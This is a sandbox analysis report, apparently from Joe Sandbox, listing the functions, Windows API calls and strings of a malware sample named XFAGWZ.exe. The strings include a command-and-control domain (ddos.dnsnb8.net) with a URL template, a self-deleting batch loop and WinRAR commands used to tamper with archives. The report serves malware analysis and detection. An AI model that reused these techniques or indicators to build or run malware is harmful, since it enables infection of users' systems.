Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\XFAGWZ.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-300697169
Opcode ID: 0c170639e7c96ff78c501b848b57b44f6135d441733e7bf9f76f645e455ca845
Instruction ID: fb5cfbe55104b7917542f93a54051528e6d8f70721b5b6d148c62dc74904959d
Opcode Fuzzy Hash: 0c170639e7c96ff78c501b848b57b44f6135d441733e7bf9f76f645e455ca845
Instruction Fuzzy Hash: 0111AFF1640234BBCF206BA49D59EDA3F6FEF06361F501225F209992A2DA7189C0C7A5

Function 006B1000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,HGk,http://%s:%d/%s/%s,006B10E8,?), ref: 006B1018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,75BF8400), ref: 006B1029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 006B1038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 006B104B
UnmapViewOfFile.KERNEL32(00000000), ref: 006B1075
CloseHandle.KERNEL32(?), ref: 006B108B
CloseHandle.KERNEL32(00000000), ref: 006B108E

Strings

http://%s:%d/%s/%s, xrefs: 006B1000
ddos.dnsnb8.net, xrefs: 006B1026
HGk, xrefs: 006B1001

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: HGk$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-1478791336
Opcode ID: 520faedab10dd059d5d125acb9d09a31c3fc674496dce2ac54972ce5be3faab2
Instruction ID: 47d8c4e51314b58fd4e8ff963317ecb0fe7fda4cdb9752e338d3c634abc1320d
Opcode Fuzzy Hash: 520faedab10dd059d5d125acb9d09a31c3fc674496dce2ac54972ce5be3faab2
Instruction Fuzzy Hash: C90184F120425CBFE7307F609C88E6BBBAEDF44799F014629F245A6290DA705EC48B70

Function 006B2C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 006B2C57

Part of subcall function 006B1973: PathFileExistsA.SHLWAPI(\Nk`Nk,00000000,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe), ref: 006B1992
Part of subcall function 006B1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006B19BA
Part of subcall function 006B1973: Sleep.KERNEL32(00000064), ref: 006B19C6
Part of subcall function 006B1973: wsprintfA.USER32 ref: 006B19EC
Part of subcall function 006B1973: CopyFileA.KERNEL32(?,?,00000000), ref: 006B1A00
Part of subcall function 006B1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006B1A1E
Part of subcall function 006B1973: GetFileSize.KERNEL32(?,00000000), ref: 006B1A2C
Part of subcall function 006B1973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 006B1A46
Part of subcall function 006B1973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 006B1A65

CreateThread.KERNEL32(00000000,00000000,006B2B8C,00000000,00000000,00000000), ref: 006B2C99
WaitForMultipleObjects.KERNEL32(00000001,006B16BA,00000001,000000FF,?,006B16BA,00000000), ref: 006B2CAC
VirtualFree.KERNEL32(00F80000,00000000,00008000,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe,006B4E5C,006B4E60,?,006B16BA,00000000), ref: 006B2CC2

Strings

C:\Users\user\AppData\Local\Temp\XFAGWZ.exe, xrefs: 006B2C69

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
API String ID: 2042498389-2837836602
Opcode ID: 74ae503a5e6787f769cfcebf1f36f621a19614fee0c7310a47a064b922898559
Instruction ID: a66c4c2f6a417ab5a01d257a87954c001f5bab47242c6a31bb37fd297d82371d
Opcode Fuzzy Hash: 74ae503a5e6787f769cfcebf1f36f621a19614fee0c7310a47a064b922898559
Instruction Fuzzy Hash: 190184F17412257AD750AB959C1AEEF7F9EEF01B50F104214B605D62C2DAA0DAC0C7E4

Function 006B14E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 006B1504
VirtualQuery.KERNEL32(006B14E1,?,0000001C), ref: 006B1525
ExitProcess.KERNEL32 ref: 006B157A

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: 4ec20fbcbc3ba64174bc859485081bf6df917dcf843953e2ff94c633e5f4513d
Instruction ID: 194cb034c1dc7aa90e288d659ce95ce3e16ebeef255a498048fcbf9a6143d949
Opcode Fuzzy Hash: 4ec20fbcbc3ba64174bc859485081bf6df917dcf843953e2ff94c633e5f4513d
Instruction Fuzzy Hash: 691170F2A00214EFCB20DFA5A8A56FD77BEEF85710B50622AF402DA251D63089C19B50

Function 006B1915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 006B1933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 006B1947

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: 6becf91a94e9d2f4e34ed19ff9646befc63bbcb3d175e47280ccb4e8f327b13b
Instruction ID: 9397111696e8edcd7a4869302a7ed19848ccdf82512b93986641346f3e8d0e48
Opcode Fuzzy Hash: 6becf91a94e9d2f4e34ed19ff9646befc63bbcb3d175e47280ccb4e8f327b13b
Instruction Fuzzy Hash: 5DF044B2240249BBD720AE26DC14BE777AEAF51361F50853AF526D5150E730D6858BB0

Function 006B6158 Relevance: 2.6, APIs: 2, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 006B60DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 006B6189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 006B61A5

Memory Dump Source

Source File: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID:
API String ID: 1852963964-0
Opcode ID: da173d4b8ae14c666d6a7dd247ae51d880e00d0d6d9262a4bb8f960a42960d34
Instruction ID: 266abfad0f117d6e00e8423d55da8bef701a8bd66f54737b7683658fbdf2ec84
Opcode Fuzzy Hash: da173d4b8ae14c666d6a7dd247ae51d880e00d0d6d9262a4bb8f960a42960d34
Instruction Fuzzy Hash: 20116DB2A00659CFDF318E58CC957DD37A2EF01301F690419EE8A5B391DA792A81CB94

Non-executed Functions

Function 006B119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\XFAGWZ.exe,?,?,?,?,?,?,006B13EF), ref: 006B11AB
OpenProcessToken.ADVAPI32(00000000,00000028,006B13EF,?,?,?,?,?,?,006B13EF), ref: 006B11BB
AdjustTokenPrivileges.ADVAPI32(006B13EF,00000000,?,00000010,00000000,00000000), ref: 006B11EB
CloseHandle.KERNEL32(006B13EF), ref: 006B11FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,006B13EF), ref: 006B1203

Strings

C:\Users\user\AppData\Local\Temp\XFAGWZ.exe, xrefs: 006B11A5

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
API String ID: 75692138-2837836602
Opcode ID: e58f462d292a6599e87f177b8d407563bb4f81cb0c99a47f78abc10234641cb2
Instruction ID: 7e2bf9636092c48e96aef5e03fc78c55dd2df9a4bee98c69dce7d560796a6c28
Opcode Fuzzy Hash: e58f462d292a6599e87f177b8d407563bb4f81cb0c99a47f78abc10234641cb2
Instruction Fuzzy Hash: 7501E8B5A00219FFDB00EFD4CD99AAEBBBAFF04305F504569E605A2250D7715F849B50

Function 006B239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 006B23CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 006B2464
GetFileSize.KERNEL32(00000000,00000000), ref: 006B2472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 006B24A8
memset.MSVCRT ref: 006B24B9
strrchr.MSVCRT ref: 006B24C9
wsprintfA.USER32 ref: 006B24DE
strrchr.MSVCRT ref: 006B24ED
memset.MSVCRT ref: 006B24F2
memset.MSVCRT ref: 006B2505
wsprintfA.USER32 ref: 006B2524
Sleep.KERNEL32(000007D0), ref: 006B2535
Sleep.KERNEL32(000007D0), ref: 006B255D
memset.MSVCRT ref: 006B256E
wsprintfA.USER32 ref: 006B2585
memset.MSVCRT ref: 006B25A6
wsprintfA.USER32 ref: 006B25CA
Sleep.KERNEL32(000007D0), ref: 006B25D0
Sleep.KERNEL32(000007D0,?,?), ref: 006B25E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 006B25FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 006B2611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 006B2642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 006B265B
SetEndOfFile.KERNEL32 ref: 006B266D
CloseHandle.KERNEL32(00000000), ref: 006B2676
RemoveDirectoryA.KERNEL32(?), ref: 006B2681

Strings

-ibck, xrefs: 006B25BA
%s%s, xrefs: 006B24D8
C:\Users\user\AppData\Local\Temp\, xrefs: 006B23B1, 006B23B6, 006B24CD
%s X -ibck "%s" "%s\", xrefs: 006B251E
%s\, xrefs: 006B257F
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 006B25C4

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-2169341206
Opcode ID: 9cfb9b66db6f2fe046984032d8e679b72957284c751d426463cd8769e0aed494
Instruction ID: b9896c478c2b86cd7f32f9c0a54a27077461ba8f8436ba5dff73b3688aed2d39
Opcode Fuzzy Hash: 9cfb9b66db6f2fe046984032d8e679b72957284c751d426463cd8769e0aed494
Instruction Fuzzy Hash: ED8180F1504355BBD710AF60DC55EEB7BEEEF88704F00061AFA44922A0E774DAC98B65

Function 006B274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006B2766
memset.MSVCRT ref: 006B2774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 006B2787
wsprintfA.USER32 ref: 006B27AB

Part of subcall function 006B185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75BF8400,http://%s:%d/%s/%s,?,?,?,006B1118), ref: 006B1867
Part of subcall function 006B185B: srand.MSVCRT ref: 006B1878
Part of subcall function 006B185B: rand.MSVCRT ref: 006B1880
Part of subcall function 006B185B: srand.MSVCRT ref: 006B1890
Part of subcall function 006B185B: rand.MSVCRT ref: 006B1894

wsprintfA.USER32 ref: 006B27C6
CopyFileA.KERNEL32(?,006B4C80,00000000), ref: 006B27D4
wsprintfA.USER32 ref: 006B27F4

Part of subcall function 006B1973: PathFileExistsA.SHLWAPI(\Nk`Nk,00000000,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe), ref: 006B1992
Part of subcall function 006B1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006B19BA
Part of subcall function 006B1973: Sleep.KERNEL32(00000064), ref: 006B19C6
Part of subcall function 006B1973: wsprintfA.USER32 ref: 006B19EC
Part of subcall function 006B1973: CopyFileA.KERNEL32(?,?,00000000), ref: 006B1A00
Part of subcall function 006B1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006B1A1E
Part of subcall function 006B1973: GetFileSize.KERNEL32(?,00000000), ref: 006B1A2C
Part of subcall function 006B1973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 006B1A46
Part of subcall function 006B1973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 006B1A65

DeleteFileA.KERNEL32(?,?,006B4E54,006B4E58), ref: 006B281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,006B4E54,006B4E58), ref: 006B2832

Strings

%s%s, xrefs: 006B27A5
C:\Users\user\AppData\Local\Temp\, xrefs: 006B27B6
%s%.8x.exe, xrefs: 006B27BB
c_31892.nls, xrefs: 006B27DE
C:\Windows\system32, xrefs: 006B27E3
%s\%s, xrefs: 006B27EE
\WinRAR\Rar.exe, xrefs: 006B2793

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-3961832207
Opcode ID: 9f30953351b34c3a62056a68457166e2b4ca7daeb231ea849304b580063c921c
Instruction ID: 8f4c59a48848a0aae31b7364119ee3223ebf15ab4cc34e57b137a4d336fe1a1f
Opcode Fuzzy Hash: 9f30953351b34c3a62056a68457166e2b4ca7daeb231ea849304b580063c921c
Instruction Fuzzy Hash: AD2187F6A4022C7BDB10EBA49C99FDB77AEEB04744F4105A1B644E2142E670DFC48B74

Function 006B1581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006B185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75BF8400,http://%s:%d/%s/%s,?,?,?,006B1118), ref: 006B1867
Part of subcall function 006B185B: srand.MSVCRT ref: 006B1878
Part of subcall function 006B185B: rand.MSVCRT ref: 006B1880
Part of subcall function 006B185B: srand.MSVCRT ref: 006B1890
Part of subcall function 006B185B: rand.MSVCRT ref: 006B1894

wsprintfA.USER32 ref: 006B15AA
wsprintfA.USER32 ref: 006B15C6
lstrlen.KERNEL32(?), ref: 006B15D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 006B15EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 006B1609
CloseHandle.KERNEL32(00000000), ref: 006B1612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 006B162D

Strings

open, xrefs: 006B1627
%s%.8x.bat, xrefs: 006B15A4
C:\Users\user\AppData\Local\Temp\, xrefs: 006B1599
:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 006B15C0
C:\Users\user\AppData\Local\Temp\XFAGWZ.exe, xrefs: 006B158A, 006B15B3, 006B15B8, 006B15B9

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\XFAGWZ.exe$open
API String ID: 617340118-2456446415
Opcode ID: 0f905bfa231bc3c732c932922fbe52123371f53a1bdd39ac67c8f462fc996263
Instruction ID: f22e93c57d36cd931caf861c931c70640e19293b37a5ef3d45aaff6cc37b06ff
Opcode Fuzzy Hash: 0f905bfa231bc3c732c932922fbe52123371f53a1bdd39ac67c8f462fc996263
Instruction Fuzzy Hash: ED1151F2A011387AD720A7A89C89DEB7B6DDF5A750F010151F549E2241EA70ABC48BB0

Function 006B120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,006B1400), ref: 006B1226
GetProcAddress.KERNEL32(00000000), ref: 006B122D
GetCurrentProcessId.KERNEL32(?,?,?,?,006B1400), ref: 006B123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,006B1400), ref: 006B1250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe,?,?,?,?,006B1400), ref: 006B129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe,?,?,?,?,006B1400), ref: 006B12B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe,?,?,?,?,006B1400), ref: 006B12F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,006B1400), ref: 006B130A

Strings

ZwQuerySystemInformation, xrefs: 006B1212
ntdll.dll, xrefs: 006B1219
C:\Users\user\AppData\Local\Temp\XFAGWZ.exe, xrefs: 006B1262

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-697355066
Opcode ID: 6f055076b78a2874c9e0f664df0fa9b04a225687eff373ea548b447a65ea1e40
Instruction ID: d8461c3fd15adc0600f5f65dc3954fb82785fc994923b09ec2d446b447e0fef1
Opcode Fuzzy Hash: 6f055076b78a2874c9e0f664df0fa9b04a225687eff373ea548b447a65ea1e40
Instruction Fuzzy Hash: A021C5B1745321BBD720AB65CC14BEBBBAAFF46B00F800A19F645DA340D770DAC487A5

Function 006B189D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006B18B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,74DF0F00,75BF8400), ref: 006B18D3
CloseHandle.KERNEL32(I%k), ref: 006B18E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 006B18F0
GetExitCodeProcess.KERNEL32(?,?), ref: 006B1901
CloseHandle.KERNEL32(?), ref: 006B190A

Strings

I%k, xrefs: 006B18E0

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID: I%k
API String ID: 876959470-2996373354
Opcode ID: e9caf644a0ed963d7835191b6a2c552e1fecdd3c39675ccd8d45b40edd9baf23
Instruction ID: 49c2b6425492ce4706b0d2ac349431b202b1a64dedbeebf43ee4e19c434124b0
Opcode Fuzzy Hash: e9caf644a0ed963d7835191b6a2c552e1fecdd3c39675ccd8d45b40edd9baf23
Instruction Fuzzy Hash: F60171B2A01168BBCB216B95DC48DDF7F7EEF85760F104121FA15A52A0D6315A98CBA0

Function 006B185B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75BF8400,http://%s:%d/%s/%s,?,?,?,006B1118), ref: 006B1867
srand.MSVCRT ref: 006B1878
rand.MSVCRT ref: 006B1880
srand.MSVCRT ref: 006B1890
rand.MSVCRT ref: 006B1894

Strings

http://%s:%d/%s/%s, xrefs: 006B1860
ddos.dnsnb8.net, xrefs: 006B1862

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 4106363736-3273462101
Opcode ID: 2c6ecfd726aabc01023900ceb5596c0874e1bfbb7c82caff80524b2d38430e3a
Instruction ID: 61bca0c0d83c7aec7d317674f52b98e0d92996c80cbabe2ee10f08069bdc978b
Opcode Fuzzy Hash: 2c6ecfd726aabc01023900ceb5596c0874e1bfbb7c82caff80524b2d38430e3a
Instruction Fuzzy Hash: EEE092B7A00228BBD700A7A9EC4689EBBACDE84161B100626F600D3250E570F9848AB8

Function 006B2692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,74DEE800,?,?,006B29DB,?,00000001), ref: 006B26A7
WaitForSingleObject.KERNEL32(00000000,000000FF,74DEE800,?,?,006B29DB,?,00000001), ref: 006B26B5
lstrlen.KERNEL32(?), ref: 006B26C4
??2@YAPAXI@Z.MSVCRT ref: 006B26CE
lstrcpy.KERNEL32(00000004,?), ref: 006B26E3
lstrcpy.KERNEL32(?,00000004), ref: 006B271F
??3@YAXPAX@Z.MSVCRT ref: 006B272D
SetEvent.KERNEL32 ref: 006B273C

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
